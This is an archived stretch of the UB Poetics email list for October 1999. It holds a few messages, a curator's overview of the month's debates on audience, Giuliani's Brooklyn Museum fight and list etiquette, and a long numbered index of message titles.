> *Net that I've lost track of, with John Ashbery, where Ashbery is asked to comment specifically on that poem of his that starts with the place-name "Nagoya", mention of "boy scouts", etc.; and he delineates that one obscurity about architecture goes back to his being stranded in the walled city of Chester, and that another came from him literally being at the Empire State Building (can you believe this?) and ~seeing~ a pack of boy scouts get off an elevator all with "Nagoya" on their baseball caps, and so on. (Cretan fallacy?)*

here's the link to that:

http://www.writenet.org/poetschat/poetschat_jashbery.html

link originally sent to the list by somebody that wasn't me a while back.

These issues/discussions make me think about the value of 'generative processes' in the experience of another's work, or the experience other's have with one's own work. Obviously varies from work to work, from helpful to obfuscating to gimmicky?

jamie.p

↑ Index

476. Kathy Lou Schultz
Two queries (one Perloff, one Hunt)
Thu 30 Sep 1999

Hello All,

1. I have a vague recollection of an essay by Marjorie Perloff in which she discusses _Stealing the Language_ (the Alicia Ostriker anthology of women poets). Does anyone know the essay and which book it's in?

2. I'm also looking for recommendations of critical work on Erica Hunt.

Please backchannel
[redacted]
and I'll send you a free copy of Lipstick Eleven No. 1 if you like.
(I'll also compile and post the Hunt list if something comes of it.)

Thank you.

^^

Kathy Lou Schultz
Editor & Publisher
Lipstick Eleven/Duck Press
www.duckpress.org

42 Clayton Street San Francisco, CA 94117-1110

↑ Index

477. Nielsen, Aldon
Re: to the Nth degree
Thu 30 Sep 1999

My full name, as some friends know, is Aldon Lynn Nielsen -- This proliferation of "n"s marks me as the first ur-pre-post-LANGUAGE poet, a close cousin of Lyn Hejinian, whose partial-but-expanded namesake I actually am --

↑ Index

478. Nielsen, Aldon
Re: Barry Alpert
Thu 30 Sep 1999

I don't have Barry's current address, but he has lived for years in the D.C. area, and last I knew was still in the rare book business -- He may not be listed in the phone book, but other book people around D.C. may help you locate him -- I last spoke to him at the MLA in D.C. a couple years ago --

I have VORTs 1,2,3,5,6 & 8 -- anybody out there have the numbers I'm lacking by any chance?

↑ Index

479. Richard Dillon
Re: changes to list archive interface
Thu 30 Sep 1999

LIVE AT THE EAR

EDITED BY CHARLES BERNSTEIN

NOW ON SALE FOR MEMBERS OF THE POETICS LIST

REGULAR PRICE: $15.95

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Poets and Poems (excerpts or in entirety) on the CD include:

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Ron Silliman: "OZ"
Leslie Scalapino: "burn series"
Ted Greenwald: "YOU BET"
Rosmarie Waldrop: "REPRODUCTION OF PROFILES"
Alan Davies: "SHARED SENTENCES"
Barrett Watten: "UNDER ERASURE"
Erica Hunt: "cold war breaks"
Bruce Andrews: "I KNEW THE SIGNS BY THEIR TENTS"
Hannah Weiner: "SPOKE"
Steve McCaffery: "THE CURVE TO ITS ANSWER"
Ann Lauterbach: "OPENING DAY"
and
Charles Bernstein: "DARK CITY"

GO TO: http://epc.buffalo.edu/presses/elemenope/

>From: Poetics List <[redacted]>
>To: [redacted]
>Subject: changes to list archive interface
>Date: Mon, Sep 27, 1999, 8:37 AM
>

> *Those of you who make use of the list archive will notice that I've made a change in its appearance, the result of having been given greater control over the interface. The default view is now by date, arranged from most recent to earliest in a given month. All other options for sorting (by author, by topic, chronologically) are still available, as is the search interface.*

> *The Poetics List Archive is available at*
> *<http://listserv.acsu.buffalo.edu/archives/poetics.html>*
>
> *or via the Electronic Poetry Center at*
> *<http://epc.buffalo.edu>*
>
> *Chris*
>
> *% Christopher W. Alexander*
> *% poetics list moderator*

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

October 1999

474 messages · Thu 30 Sep 1999 – Fri 29 Oct 1999

October 1999 handed the Poetics list the argument it was born to have. In Brooklyn the mayor of New York was trying to defund a museum over a painting — Chris Ofili's Virgin Mary, in the show called Sensation — an arts-censorship war made to order for a room of poets. The room did not have it. The Giuliani fight passed through the list as freight only: a rally alert forwarded from the Poetry Project, a photocopied polemic, a notice relayed. The single time the mayor entered in a member's own voice it was an aside — Alan Sondheim, mid-argument, remarking *"I live in Giuliani territory"* — dropped into a fight about something else entirely. The world's censorship story went by untouched; the list was busy with its own.

The month's real intellectual engine was a book review. Mark Prejsnar's long assessment of Christopher Beach's Poetic Culture opened onto the question the list can never leave alone — who actually reads this poetry, and who pays — and drew the room into its most substantive exchange: David Kellogg pressing the real issue of audience, Juliana Spahr producing the deflating arithmetic that *"Dobyns and Hejinian sell more or less similarly"*, David Bromige calling the whole disparity a crying shame. It was the noticeboard briefly becoming a seminar again.

But the argument that consumed October was not about Giuliani, or audience, or the market. It was about the list. Dan Raphael asked Alan Sondheim, who posted a great deal, to post less — *"lets see more poems by more people"*, he wrote, mildly — and the room detonated. Within days the word the mayor had earned in Brooklyn was being spent entirely on a poetry list's traffic: Pete Balestrieri charging that *"Your attempts at censorship are ugly and brand this List"*, others invoking shame and the First Amendment as though a request for restraint were a jackboot. Sondheim ended it himself, wearily, and said goodbye. The censorship the room could not discuss when it belonged to the world, it could not stop discussing when it belonged to itself.

Underneath the fight the list did its quiet ordinary work, the work moderation actually suited it for: sourcing a Gomringer concrete poem in which *"the spacing is everything"*, hunting the true rules of the ghazal, tallying the ruinous economics of little magazines. It remained, whatever else it had lost, an excellent

reference desk — a place to bring a question and leave with an answer, if not with a conversation.

And once, that month, a death arrived without a forward or a fight. Charles Bernstein marked the passing of the Brazilian poet João Cabral de Melo Neto not by arguing about him but by sitting down the same afternoon and translating two of his poems for the list. In a month the room spent quarrelling over how much any one person should say, the finest thing it published was someone else's words, carried over by hand. I have set that quiet act of translation at the end of October's long noise exactly as it came, because it is the list at its best and its rarest — not talking about poetry, but passing it on.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 474 in all.

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30 SEP 1999

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2. raea100900 — Re: to the Nth degree
3. Maria Damon — Re: an informal survey (which read how etc)
4. Ron Silliman — Re: Ends in N : Sheesh, it was a joke, not a system
5. Stephen Ellis — Re: A Duly Savage Statement
6. A H Bramhall — re LaNgpo's chest hair
7. miekal and — & that noun awoke biome the master
8. Mark Weiss — San Francisco Bookfest

1 OCT 1999

9. Brendan Lorber — NO TIME TO LOSE AT THE ZINC BAR
10. Lowther, John — entertainment
11. Aviva (Vogel) Gabriel — The Holy Virgin Mary/Giuliani Scandal...
12. Aaron Fewell — Re: Canonicity
13. Stephen Cope — Conference Announcement: BEYOND BABEL
14. MAYHEW — preliminary results
15. Alan Sondheim — Fundamental Systems
16. Robert Freedman — Re: an informal survey (which read how etc)
17. Lowther, John — The Smell of Books
18. Lowther, John — ~IS~ FORM NEVER MORE THAN AN EXTENSION OF CONTENT?
19. David Baratier — Re: Jacket #8
20. David Baratier — Pavement Saw 4
21. David Baratier — Larry's
22. A H Bramhall — (Methodology) How Bo Diddley Saves Me
23. Alan Sondheim — Brooklyn Museum Rally (fwd)
24. Philip Nikolayev — COMPILER ERRORS
25. Elizabeth Treadwell — New Michael Palmer Book
26. miekal and — Heir of Literature Spills from Broken Book

2 OCT 1999

27. Summi Kaipa — Interlope & Summi Email and Address Change
28. Catherine Daly — Re: an informal survey (which read how etc)
29. Elizabeth Treadwell — Outlet Magazine--call for work
30. Philip Nikolayev — revolving doors in Bromige and Silliman
31. Patrick F. Durgin — Kenning site update
32. Lowther, John — Re: ~IS~ FORM (re: ANTIN addenda)
33. Alan Sondheim — INDIANA

3 OCT 1999

34. Kathy Lou Schultz — Lipstick? Eleven?
35. Kathy Lou Schultz — View from the front: The Small Press Traffic soiree
36. Jerrold Shiroma — New @ Duration Press
37. Robert Freedman — Poetry Textbook/Language Poetry
38. Charles Bernstein — Whitney Performance @ EPC

4 OCT 1999

39. Todd Baron /*/ ReMap Readers — query
40. Hazel Smith — hypermedia
41. Sylvester Pollet — NPF Conference Call for Papers
42. Alan Sondheim — trAce Online Writing Community
43. Daniel Kane — Ann Lauterbach on WriteNet
44. Mark Wallace — Washington Review

45. Brian Stefans — Barque Website
46. Poetics List — list stats
47. Jorge Guitart — looking for Lisa Samuels
48. Lowther, John — 11-11, lipstick...?
49. Daniel Kane — Hoa Nguyen Student Poetry Workshop on WriteNet
50. david bromige — re revolving doors
51. David Kirschenbaum — Booglit #6: Lowell Celebrates Kerouac! Festival
52. Tisa Bryant — Re: View from the front: The Small Press Traffic soiree
53. Michael Neff — News Items for ELANewsletter
54. Nielsen, Aldon — this just in
55. Katie Degentesh — 9X9X9X9X9X9X9X9X9X9
56. Brian Lennon — Ripostes to Jameson on Perelman?
57. Jim Andrews — New Vispo Audio: Paul McKinnon's "Wake Up and Smell the Bus Depot"

5 OCT 1999

58. Jerrold Shiroma — small press publications announcements deadline
59. Fredrik Hertzberg LIT — Oidentifierade verbala objekt
60. miekal and — boredom, currency
61. Ron Silliman — La Jolla Beyond Babel
62. miekal and — cybele overhears "I'm tired of poetry"
63. Alan Sondheim — Lost Japan for Me
64. raea100900 — a little self promotion
65. Daniel Kane — Lauterbach sound on WriteNet
66. Taylor Brady — Re: View from the front: The Small Press Traffic soiree
67. levitsk — Re: three details in order of occurance, 1 query
68. Grant Jenkins — Re: Ripostes to Jameson on Perelman?
69. Katie Degentesh — Re: small press publications announcements deadline

6 OCT 1999

70. david bromige — OVO, stockholm
71. A H Bramhall — Casual Screed, part 1
72. A H Bramhall — Casual Screed, part 2
73. Ron Silliman — Re: re revolving doors
74. Rod & Corrine Holke-Farnam — (no subject)
75. James Brook — info on Bei Dao?
76. juliana spahr — reading report from honolulu
77. kathylou — Re: View from the front: The Small Press Traffic soiree
78. L. MacMahon and T.R. Healy — Re: OVO, stockholm
79. William Marsh — Re: small press publications announcements deadline
80. Tenney Nathanson — recent material on Erica Hunt?
81. David Kellogg — Re: Joy Davidman
82. Alan Sondheim — the parental

7 OCT 1999

83. Joel M Bettridge — call for papers (Ronald Johnson Conference)
84. miekal and — under the Palace of Escapist Literature
85. d.j. huppatz — new publications from down under
86. Sara Lundquist — (no subject)
87. Poetry Project — readings next week
88. A H Bramhall — Thursday's Book Report
89. Brian Stefans — New Arras URL -- please change your links!
90. Todd Baron /*/ ReMap Readers — ReMap #7
91. Poetics List Administration — r e a d m e
92. Nielsen, Aldon — L.A. reading
93. Al Filreis — Re: Joy Davidman
94. Joe Amato — UB Job Ad
95. miekal and — 5 eprayers for alan with alan's words

96. Leonard Brink — New from Avec -- Michael Palmer
97. Gary Shapiro — Kenyon Review, Sewanee Writers Conference, Boulevard : 3 NYC events

8 OCT 1999

98. Thomas Bell — Re: ~IS~ FORM (re: ANTIN addenda)
99. Alan Sondheim — the closeness of cancer
100. John Tranter — Traveling Tranter
101. John Tranter — Traveling Tranter, the Zinc-Corrected Version
102. Todd Baron /*/ ReMap Readers — correction
103. Lisa Samuels — reading in ypsilanti michigan
104. miekal and — referencing vast leakage, or temporary extrusion
105. Molly Schwartzburg — Re: info on Bei Dao?
106. David Kirschenbaum — Edward Sanders chapbook from Boog Literature
107. Alan Sondheim — Jennifer-Cancer
108. Nielsen, Aldon — reading in Virginia

9 OCT 1999

109. Jim Andrews — Defib: live online Web artist interview surf show
110. Alan Sondheim — my work's notice
111. Katherine Lederer — Cover me rumble
112. Robin Tremblay-McGaw — forum on class & innovative writing

10 OCT 1999

113. Jerrold Shiroma — New Small Press Publications
114. jerome joy (by way of Kenneth Goldsmith <[redacted]>)" <[redacted]> — --> revue AUD...
115. Lawrence Upton. — (no subject)
116. raea100900 — New Writing Series
117. Chris McCreary — Big Allis e-mail address?

11 OCT 1999

118. Alan Sondheim — My Intensity as Cliche (I am exposed!)
119. Al Filreis — Perloff October 20
120. Dana Lustig — Studies or Essays on Tom Phillips
121. Carrie Etter — Michael Davidson reads at UC Irvine 10/19
122. Chicago Review — Bidart, Taggart to Read
123. Hoa Nguyen — _Lucky Pup_, by Leslie Davis
124. Nielsen, Aldon — C.L.R. James -- Call for Papers
125. Bob Grumman — Re: Studies or Essays on Tom Phillips
126. Poetics List Administration — the fall ottawa small press book fair / CPA London
127. Poetics List Administration — The Edgewise ElectroLit Centre / CPA London
128. Poetics List Administration — canadian poets online / CPA London
129. Poetics List Administration — r e a d m e / Sullivan
130. Poetics List Administration — Carla Harryman's THE WORDS / Scalapino
131. Harriet Zinnes — Re: Cover me rumble
132. Molly Schwartzburg — Re: Studies or Essays on Tom Phillips
133. George Bowering — Re: Bromige's beard

12 OCT 1999

134. Alan Sondheim — than Flode
135. Randy Prunty — poetry in Charlotte North Carolina?
136. Lowther, John — Situationist translations and index
137. Mark Prejsnar — Review of Beach's Poetic Culture
138. Elizabeth Treadwell — Announcing Outlet (4/5) Weathermap
139. Taylor Brady — Re: Studies or Essays on Tom Phillips
140. Kenneth Goldsmith — ___ U B U W E B : NEW RESOURCES OCTOBER 1999___
141. David Kellogg — Re: Studies or Essays on Tom Phillips
142. David Kellogg — Re: poetry in Charlotte North Carolina?

143. David Kellogg — Re: Review of Beach's Poetic Culture
144. Brendan Lorber — OUTDOORS WITH E.MYLES/B.LORBER/M.LEVOVE
145. Randy Prunty — Phillips, Beach, Charlotte
146. David Zauhar — Re: Review of Beach's Poetic Culture
147. Safdie Joseph — Re: Review of Beach's Poetic Culture
148. pete spence — Re: Studies or Essays on Tom Phillips
149. derek beaulieu — west coast line rescue program...
150. Billy Little — Re: Review of Beach's Poetic Culture

13 OCT 1999

151. Alan Sondheim — LEST WE FORGET, A MORALITY PLAY
152. Kyle Conner — HIGHWIRE READING
153. Kimmelman, Burt — Tandy Sturgeon
154. Rachel Loden — Hotel Imperium: book announcement
155. David Giles Scott — Re: Studies or Essays on Tom Phillips
156. Tenney Nathanson — BOO? who?
157. Alan Sondheim — Writing-space at trAce - (fwd, apologies for cross-post)
158. Jordan Davis — noteworthy event for noteworthy book
159. David Baratier — PANTS
160. Michael Magee — COMBO website
161. Lowther, John — demographic query
162. Arielle C. Greenberg — Re: HIGHWIRE READING
163. Mark Weiss — Re: Review of Beach's Poetic Culture
164. David Kirschenbaum — Do you trade?
165. Tom Beckett — singing the holes in history
166. pete spence — Re: demographic query
167. Anastasios Kozaitis — Re: Studies or Essays on Tom Phillips

14 OCT 1999

168. David Kirschenbaum — Andrei Codrescu in NYC, Wed. October 20, 8pm, at Makor 35 W.67th St.
169. Katie Degentesh — TONIGHT AT ADOBE BOOKS
170. David Kellogg — Re: Review of Beach's Poetic Culture
171. Mark Prejsnar — Beach's Poetic Culture (guerilla poetix)
172. Alan Golding — Tom Phillips refs.
173. Jim Andrews — Cauldron & Net launches, vol of Web art & writings
174. Michael Franco — OXFORD ST READS OCTOBER 24th 1999
175. David Kellogg — Re: Review of Beach's Poetic Culture
176. Lowther, John — Re: Review of Beach's Poetic Culture
177. Herb Levy — Re: Studies or Essays on Tom Phillips
178. hassen — Re: HIGHWIRE READING
179. Rachel Loden — reading announcement
180. Pritchett,Patrick — Re: Left Hand Reading Series, 10/21/99
181. raea100900 — Re: Review of Beach's Poetic Culture
182. Lowther, John — Re: Review of Beach's Poetic Culture
183. Lowther, John — Re: Review of Beach's Poetic Culture
184. MAYHEW — Bourdieu
185. eric gleason — Re: demographic query
186. miekal and — new URL for semetrix
187. Mark Prejsnar — Re: Review of Beach's Poetic Culture
188. miekal and — Re: demographic query
189. Katherine Lederer — October 16: MATT ROHRER and EDMUND BERRIGAN NYC
190. dan raphael — Lest I remember
191. Pritchett,Patrick — Re: Tom Phillips refs.
192. David Kirschenbaum — Booglit 6: The Kerouac issue, NYC Pub. Party w/David Amram & more

15 OCT 1999

193. Mopehaus Productions — EX
194. pete spence — Re: an informal survey
195. pete spence — Re: The POETRY INTO FILM Competition
196. Tisa Bryant — Re: singing the holes in history
197. Mark Prejsnar — Re: singing the holes in history
198. Jordan Davis — "pensare"
199. A H Bramhall — up with down!
200. David Kellogg — Review of Beach's Poetic Culture
201. David Kellogg — Re: Review of Beach's Poetic Culture
202. K.Angelo Hehir — the press
203. David Kellogg — Re: Review of Beach's Poetic Culture
204. Patrick Herron — Re: Lest I remember
205. charssmith — Re: Tom Phillips refs.
206. K.Silem Mohammad — Re: Lest I remember (Sondheim posts)
207. Michael Magee — Re: Do you trade?
208. Katherine Lederer — Brian Lennon
209. Peter Fogarty — Re: Lest I remember
210. Karen Kelley — Re: Lest I remember

16 OCT 1999

211. George Fouhy — Poetry & Open Mike!
212. juliana spahr — dobyns v. hejinian
213. Mark DuCharme — Re: demographic query
214. Dirk Rowntree — Re: Lest I remember

17 OCT 1999

215. Dean Creighton — The Blue Bottle Project
216. Eugene Ostashevsky — handmade books sought
217. pete spence — Re: demographic query

18 OCT 1999

218. Alan Sondheim — gratitude
219. Daniel Carter — "seasonally" undulant little invite: writing group (email list: crosscurren…
220. Sylvester Pollet — Bishop Nixs Pound!
221. Pattie McCarthy — query : : zukofsky
222. Maria Damon — ashbery query
223. Lawrence Upton — from Jennifer Ley
224. Daniel Kane — hoa nguyen writing exercise
225. Taylor Brady — E-mail for Kristin Prevallet
226. Dana Lustig — Re: Studies or Essays on Tom Phillips
227. Judy Smith McDonough — newest edition of poetrynow online
228. Jerrold Shiroma — Small Press Publications Announcements deadline
229. jocelyn saidenberg — David Buuck and Brian Kim Stefans Reading at Small Press Traffic
230. David Kirschenbaum — New from Boog: Lee Ann Brown and Eleni Sikelianos
231. David Kirschenbaum — Address Correction: Booglit 6 Pub. Party w/David Amram
232. J. Pecqueur — APR--Honickman First Book Award
233. Carol L. Hamshaw — [Fwd: Bowering, Compton, Rodin, Warland]
234. Richard Frey — Sun., Nov.7, NOTcoffeeHouse - Caine, Levin, Romero, & music-Grant
235. tasha329 — Treat Your Trick!! Poetry @ BORDERS, Mon., Oct. 25: A-A WIGHT & ML POLAK
236. Elizabeth Treadwell — Mangold/Alexander addresses

19 OCT 1999

237. Daniel Kane — a review of Kenneth Koch's "Making Your Own Days"
238. Lowther, John — Grad School Grafitto
239. George Bowering — Re: demographic query

240. George Bowering — Re: Treat Your Trick!! Poetry @ BORDERS, Mon., Oct. 25: A-A WIGHT & ML PO...
241. Lowther, John — _Words_ by R.C.
242. Daniel Kane — Bill Zavatsky and Daniel Kane reading at Teachers & Writers
243. Jordan Davis — Oasia broadside #51
244. Daniel Kane — Bill Zavatsky and Daniel Kane reading, Thursday, Oct. 28
245. Nielsen, Aldon — Re: Los Angeles Reading
246. Mark Prejsnar — Quote of the day
247. C. S. Giscombe — (no subject)
248. KENT JOHNSON — Re: Lest I remember
249. David Kellogg — Re: query : : zukofsky
250. Tony Green — Re: _Words_ by R.C.
251. Jacques Debrot — Re: ashbery query
252. Alan Sondheim — THE PRESIDENT-MACHINE
253. Elizabeth Treadwell — Populace

20 OCT 1999

254. Todd Baron /*/ ReMap Readers — Re: wow--too much
255. Todd Baron /*/ ReMap Readers — Re: E-mail for Kristin Prevallet
256. dan raphael — on sondheim, on raphael, on expression
257. Thomas Bell — Re: Lest I remember
258. Ron Silliman — Amazon v. Amazon
259. Stephen Ellis — Re: up with down!
260. Mark Prejsnar — the critic's task
261. Ron Henry — Re: Dobyns vs. Hejinian
262. Mark Prejsnar — Re: dobyns v. hejinian
263. Bob Perelman — *Ten to One*
264. Mark Prejsnar — the real issue of audience
265. Mark Prejsnar — sociology
266. Mark Prejsnar — Re: Bishop Nixs Pound!
267. Lisa Samuels — dobyns v. hejinian
268. Aviva V. Gabriel — Applying for ISBN #???
269. George Bowering — Re: _Words_ by R.C.
270. Aviva V. Gabriel — Making & Looping Poetry Tapes
271. Pritchett,Patrick — obit for Sarraute
272. Jason Nelson — Diseases of the Horse
273. Joe Amato — Re: Review of Beach's Poetic Culture
274. Joe Amato — job ads...
275. Nielsen, Aldon — Fwd: SynThink for Free in L.A.
276. Alan Sondheim — THE CLIMB INTO THE MOUNTAINS
277. Alaric Sumner — Domestic Ambient Noise/Bob Cobbing/Lawrence Upton/Riding the Meridian
278. Thomas Bell — Re: THE PRESIDENT-MACHINE
279. Ron Silliman — Re: wow--too much
280. Stephen Vincent — Frank O'Hara/Rauschenberg
281. David Kellogg — Re: sociology
282. r.drake — Re: Applying for ISBN #???
283. David Kellogg — Re: the real issue of audience
284. Jerrold Shiroma — New from Duration Press
285. Maria Damon — Re: Lest I remember
286. pete spence — Re: handmade books sought
287. A H Bramhall — Wang Dang Doodle Amongst Friends
288. Pam Brown — Re: Lest I remember
289. Gerald Schwartz — Re: Diseases of the Horse
290. Tony Green — Re: on sondheim, on raphael, on expression

21 OCT 1999

291. MAXINE CHERNOFF — Talisman House Publication
292. Ron Henry — Re: POETICS Digest - 19 Oct 1999 to 20 Oct 1999 (#1999-197)
293. Mark Prejsnar — Re: demographic query
294. Mark Prejsnar — Re: on sondheim, on raphael, on expression
295. Lowther, John — Numbered Suggests (was "This is MY list!")
296. Hilton Manfred Obenzinger — Re: Making & Looping Poetry Tapes
297. Alicia Askenase — Charles Bernstein and Gil Ott Reading, Oct 24
298. David Zauhar — Re: the real issue of audience
299. Poetics List Administration — Poe Party
300. Peter Fogarty — ping pong
301. MAXINE CHERNOFF — Tracking down a reference.
302. jenho — New Avec Books URL
303. Jamie Perez — Re: the real issue of audience
304. Patrick Herron — Re: on sondheim, on raphael, on expression
305. Ron Silliman — Arion Press evicted
306. Richard Dillon — Re: Tracking down a reference.
307. Alan Sondheim — Re: Numbered Suggests (was "This is MY list!")
308. Nate and Jane Dorward — Re: Applying for ISBN #???
309. pete spence — Re: demographic query
310. Susan Wheeler — Lisa Robertson
311. Thomas Bell — Re: demographic query
312. Robert Kendall — New at Word Circuits

22 OCT 1999

313. MAYHEW — tracking down Larkin
314. aerialedge — New @ Bridge St: O'Hara Catalog, poetics@, Coolidge, Harryman, Waldrop &&&
315. Daniel Carter — in partial martial t' word blatent lure venus the oblivionous
316. Tenney Nathanson — POG EVENT: Sunday Oct 31 Mayer/Cully reading at Botanical Gardens, 3:30 ...
317. Tenney Nathanson — POG EVENT: Monday, Nov 1 open discussion with poet Bernadette Mayer (U o...
318. Todd Baron /*/ ReMap Readers — Re: on sondheim, on raphael, on expression
319. MAXINE CHERNOFF — Re: Tracking down a reference.
320. A H Bramhall — Fwd To The Poetry Republic
321. Stephen Ellis — Re: Numbered Suggests (was "This is MY list!")
322. SAMUEL GARREN — Re: Tracking down a reference.
323. Michael Leddy — Re: Tracking down a reference
324. Poetics List Administration — Johanna Drucker e-mail (fwd)
325. Katherine Lederer — DH: October 23: CARLA HARRYMAN, ALYSTYRE JULIAN
326. Owen Hill — AK Press Party
327. Thomas Dorow — Re: ping pong
328. David Giles Scott — Re: ping pong
329. Thomas Dorow — Re: on sondheim, on raphael, on expression
330. Taylor Brady — Re: on sondheim, on raphael, on expression (OR, in defense of reading)
331. Lori Emerson — sondheim/raphael
332. Judy Schwartz — Re: Treat Your Trick!! Poetry @ BORDERS, Mon., Oct. 25: A-A WIGHT & ML POLAK
333. Poetry Project — upcoming readings at the Poetry Project
334. Gerald Schwartz — Re: Fwd To The Poetry Republic
335. Robert Corbett — Re: DH: October 23: CARLA HARRYMAN, ALYSTYRE JULIAN
336. Alan Sondheim — On Number-Systems
337. Lowther, John — Re: This was MY list! (is "up with down!" ?)
338. Lowther, John — trochee, anapest (was "within/without" poetry)
339. Alan Sondheim — Re: trochee, anapest (was "within/without" poetry)
340. Charles Bernstein — João Cabral de Melo Neto (1920-1999)
341. Charles Bernstein — Re: up with down!: Correction

342. michael corbin — Re: undertaker please drive slow

23 OCT 1999

343. aerialedge — Bridge Street Readings
344. Jerrold Shiroma — Small Press Publications List
345. Ward Tietz — Re: ping pong
346. Jordan Davis — (won't you take me to) POETRY CITY
347. Maria Damon — ashbery flummox; yo lori emerson
348. Louis Cabri — Jed
349. KENT JOHNSON — Poem
350. KENT JOHNSON — Poem #2
351. Lowther, John — the "biz"
352. Tom Beckett — Re: Numbered Suggests (was "This is MY list!")
353. Louis Cabri — reading oct. 26

24 OCT 1999

354. Alan Sondheim — Azure's Love of Jennifer
355. Louis Cabri — BOO 7
356. Mark Wallace — Re: generation returns again & again (fwd)
357. dunbar1223 — Boo!
358. Kathy Lou Schultz — name that quote?

25 OCT 1999

359. juliana spahr — new from subpress: edwin torres, fractured humorous
360. Chris Piuma — flim is a good site for bored office workers, etc.
361. Daniel Kane — POETRY CITY reading series
362. J Kuszai — The Devil's Aria, by Ted Pearson
363. J Kuszai — Artificial Cinnamon Nation, by Bill Marsh
364. Pritchett,Patrick — Lindsay Hill reading at The Attic
365. Poetics List — r e a d m e has moved!!! / Sullivan
366. Poetics List — Jackson Mac Low / Kerr
367. Poetics List — Re: name that quote?
368. Brent Long — Ghazal
369. KENT JOHNSON — Transcultural Experiments
370. jocelyn saidenberg — New American Poetry Reading and Book Party at SPT
371. Lowther, John — boys (& girls) in the band
372. Patrick Herron — on sondheim, on raphael, on expression (OR, in defense of reading)
373. Philip Nikolayev — Re: Ghazal
374. Herr Colin — Re: Ghazal
375. Steve Dickison — **Ammiel Alcalay in the Bay Area**
376. pete spence — Re: on sondheim, on raphael, on expression (OR, in defense of reading)
377. pete spence — Re: the "biz"
378. Todd Baron /*/ ReMap Readers — Re: on sondheim, on raphael, on expression (OR, in defense o…
379. Murat Nemet-Nejat — Re: On Number-Systems

26 OCT 1999

380. Carol L. Hamshaw — Vancouver Videopoem Festival
381. nuyopoman — Moving to NYC
382. dan raphael — expression / poetix/ whoever
383. trane devore — Re: name that quote?
384. david bromige — whereabouts of Carla Harryman's now-past reading
385. david bromige — jackson mac low
386. Brandon and/or Christina — Re: name that quote?
387. Stephen Ellis — Re: the "biz"
388. Mark Prejsnar — on regionalism...
389. Mark Prejsnar — Wallace on Beach

390. Jill Stengel — business of poetry
391. Jill Stengel — elements of business
392. Nielsen, Aldon — Re: generation returns again & again (fwd)
393. Nielsen, Aldon — Federman and Benabou in Los Angeles
394. r.drake — Grist mill
395. Joe Amato — job ad...
396. Patrick F. Durgin — Fw: something to the poetics list
397. KENT JOHNSON — sticks and bones
398. Taylor Brady — Re: on sondheim, on raphael, on expression (OR, in defense of reading)
399. William Slaughter — Mudlark
400. Gerald Schwartz — Re: the "biz"
401. Alan Sondheim — Bye
402. David Kellogg — Re: Ghazal
403. Thomas Dorow — Re: on regionalism...
404. Bill Lavender — Re: Winners-Deep South Writers Conference Contest
405. david bromige — poetry audience/s
406. david bromige — re up w/ down

27 OCT 1999

407. Lowther, John — was a business, now it's just a building
408. david bromige — sticks and bones
409. Stephen Cope — BEYOND THE PAGE
410. Jerrold Shiroma — Re: Wallace on Beach
411. Jill Stengel — Re: was a business, now it's just a building
412. Mark Wallace — language poetry and the academy
413. Brent Long — Re: Ghazal
414. Jordan Davis — Re: ping pong
415. Brent Long — Re: on regionalism...
416. Todd Nettleton — Like to read a good mystery story?
417. Dana Lustig — Re: on regionalism...
418. kathylou — Re: name that quote?
419. Catherine Daly — Re: elements of business
420. Lawrence Upton — DOMESTIC AMBIENT NOISE continues
421. Lowther, John — FW: Ground
422. Angle Press Angle Press — New Angle Press book for the Coming Winter
423. pete spence — Re: business of poetry
424. Tom Beckett — (no subject)
425. pete spence — Re: was a business, now it's just a building
426. dan raphael — Re: regionalism
427. miekal and — Re: on regionalism...
428. miekal and — Re: poetry audience/s

28 OCT 1999

429. Kathy Lou Schultz — Business, class, access
430. Philip Nikolayev — In Re Alan Sondheim
431. R M Daley — BAY AREA ULTRA EVENT (fwd)
432. Tenney Nathanson — POG EVENT: Monday, Nov 1 open discussion with poet Bernadette Mayer (U o…
433. Tenney Nathanson — ATTENTION: TIME AND PLACE CHANGE for POG EVENT: Sunday Oct 31 Mayer/Cull…
434. Susan M. Schultz — Re: new Tinfish publication
435. david bromige — bromige & fodaski at st marks
436. Stephen Ellis — Re: elements of business
437. Gerald Schwartz — Re: on regionalism...
438. Kyle Conner — HIGHWIRE READING
439. David Baratier — Fwd: for George B.
440. Mark Prejsnar — Eeeek! Eeek!, or, the heron monkey

441. Mark Prejsnar — Re: on sondheim, on raphael, on expression (OR, in defense of reading)
442. Lowther, John — Aye Heart Networking
443. Hilton Manfred Obenzinger — Re: Bye
444. Joel M Bettridge — New dates for Ronald Johnson Conference
445. Patrick Herron — Re: Eeeek! Eeek!, or, the heron monkey
446. Pritchett,Patrick — Will Alexander
447. Todd Baron /*/ ReMap Readers — Re: Bye
448. Todd Baron /*/ ReMap Readers — academic query?and why?
449. Lowther, John — I AM NOT SHOUTING
450. Nielsen, Aldon — Re: poetry audience/s
451. Nielsen, Aldon — Re: language poetry and the academy
452. Patrick Herron — Re: I AM NOT SHOUTING (yes you are)
453. Bob Grumman — Re: language poetry and the academy
454. Billy Little — Re: Lest I remember
455. Maria Damon — Symposium: Poetry as Cultural Critique
456. David Kirschenbaum — Instead of networking use ...
457. pete spence — Re: Ghazal
458. pete spence — Re: sticks and bones
459. Tom Beckett — Re: poetry audience/s
460. pete spence — Re: on regionalism...
461. Maria Damon — Re: bye
462. Billy Little — Re: regionalism
463. Toni Simon and Nick Piombino — Wallace on Beach
464. Dirk Rowntree — blow them off

29 OCT 1999

465. Brendan Lorber — THERE'S NO VEMBER LIKE NOVEMBER AT THE ZINC BAR
466. Alan Sondheim — various stuff
467. L. MacMahon and T.R. Healy — Glad'n'Sad
468. Stephen Ellis — Re: Business, class, access
469. Stephen Ellis — Re: Bye
470. Poetics List Administration — Alan Sondheim Leaving?
471. Poetics List Administration — NEW BOOK: Lauren Gudath
472. Mark Prejsnar — Re: Eeeek! Eeek!, or, the heron monkey
473. Lowther, John — _The Garrett Caples Reader_
474. Katherine Lederer — Moxley and Culley - NYC

1. Poetry Project

Protest at Brooklyn Museum

Thu 30 Sep 1999

---------- Begin Forwarded Message ----------
Date: 09/30 11:57 AM
From: Eleni Sikelianos, [redacted]
To: [redacted]

Maybe forward this?
I'm very sad that I won't be here to march.

Please spread the word

Artists, Writers, and NYCLU to Protest New York City Mayor Rudolph Giuliani's
Latest Attack on the First Amendment at the Brooklyn Museum of Art

